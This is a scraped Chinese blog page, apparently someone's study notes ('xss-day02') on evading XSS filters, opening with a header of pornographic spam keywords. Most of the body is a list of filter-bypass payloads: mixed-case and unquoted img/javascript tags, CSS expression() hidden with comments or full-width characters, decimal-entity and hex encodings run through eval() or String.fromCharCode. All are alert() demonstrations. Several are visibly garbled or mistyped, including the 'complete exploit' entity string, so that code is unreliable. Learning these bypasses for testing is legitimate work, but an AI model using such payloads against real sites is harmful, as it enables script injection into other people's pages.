日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

xss-day02

發布時間:2025/3/21 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 xss-day02 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

7)擾亂過濾規則


利用前面所述的各種技巧,包括HTML標簽屬性值、事件、CSS、編碼技術等,用戶能順利
繞過XSS Filter的重重過濾。
程序員在汲取各種經驗后,在開發過程中可能已經仔細考慮到各種觸發XSS的情況,然后部署
好嚴謹的防御措施,如此一來, 系統也變得更加牢固、安全。但不要太自信,請繼續看下面的示例:
一個正常的XSS輸入:
<img src="javascript:alert(0);">

轉換大小寫后的XSS:
<IMG SRC="javascript:alert(0);">

大小寫混淆的XSS:
<iMg sRC="jaVasCript:alert(0);">

不用雙引號,而是使用單引號的XSS:?
<img src='javascript:alert(0);'>

不使用引號的XSS:?
<img src=javascript:alert(0) ;>

當利用expression執行跨站代碼時,可以構造不同的全角字符來擾亂過濾規則:
<Xss STYLE="xss:expr E ssion(alert('XSs'))”>
<div style="{ 1eft:exp r es si 0 n(alert('xss'))}">

樣式表中的/**/會被瀏覽器忽略,因此可以運用/**/來注釋字符,通過插入混淆字符繞過過濾,
如:
<XSS STYLE="xss: expr/*XSS* /ession (alert('XSS')) ">
<div style="wid/****/th: expre/*Xss*/ssion (alert('XSS'));">

目前大多數過濾系統都采用黑名單式的過濾,用戶可以結合使用注釋字符干擾和欺騙過濾器,
測試用例如下:
<scriScriptpt>alert ('XSS')</script>
<img src="java/* /*javascript* /script/*javascript*/*/script:alert();" >
<img src="java/*script:alert() ;"><img src="javaa*/script:alert() ;">
<img src="java/*exp/**/script:alert() ;*/ression(alert(1))">
<img sty1e="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression .
(alert(1)) "> .
除了/**/外,樣式標簽中的\和結束符\0也是被瀏覽器忽略的,如:
@ \0im\port '\0ja\vasc\ript:alert("xss")';
@\i \0m\00p\000o\0000\00000r \000000t"url";


利用字符編碼

字符編碼在跨站腳本中經常運用到,透過這種技巧,不僅能讓XSS代碼繞過服務端的過濾,
還能更好地隱藏Shellcode.如前文所述,HTML標簽中的某些屬性值可以使用&#ASCII方式進行編碼改寫,
這種XSS轉碼支持十進制和十六進制形式。為了方便測試,我們接下來使用一一個XSS編碼工具,
以便對字符串進行十進制和十六進制的編碼解碼,該工具還可以實現ESCAPE轉碼和解碼。
以“<img src="javascript:alert('XSS);">”為例,它的屬性值為:?
javascript:alert('XSS');

進行十進制轉碼(&#)后得到:
&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#406#39&#
88&#83&#83&#39&#416#59

完整的XSS Expliot如下:
<img src="&#106&#97&#118&#97&#115&#99&#1146#1056#112&#1166#585#97&#108&#1016#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

還可以在每個十進制字符后加上;,或者采用&#0、 &#00、&#000、&#0000、&#0;、 &#00;、
&#000;、&#0000;

另外,在JavaScript中有- -一個eval)函數,該函數可計算字符串,并執行其中的JavaScript代碼,
如下所示:
<script>
eval ("alert('XSS')");
</script>


我們可以使用\連接十六進制字符串,然后使用eval()函數執行十六進制字符串形式的腳本,如
對aler('XSS)進行十六進制轉碼后得到:
\61\6c\65\72\74\28\27\58\53\53\27\29
那么,完整的XSS代碼為:
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>

eval()也可以執行10進制形式的腳本,但需要配合String.fromCharCode()函 數使用。
string.formcharcode(用于將字符轉為ASCII值,例如一個正常形式的XSS示例為:
<img src="javascript:eval (alert('XSS'))">


結合使用eval()和String.fromCharCode()函數后變成:
<img src="javascript :eval (String. fromCharCode (97, 108, 101,114, 116,40, 39, 88, 83,83,39,41))">

總結

以上是生活随笔為你收集整理的xss-day02的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。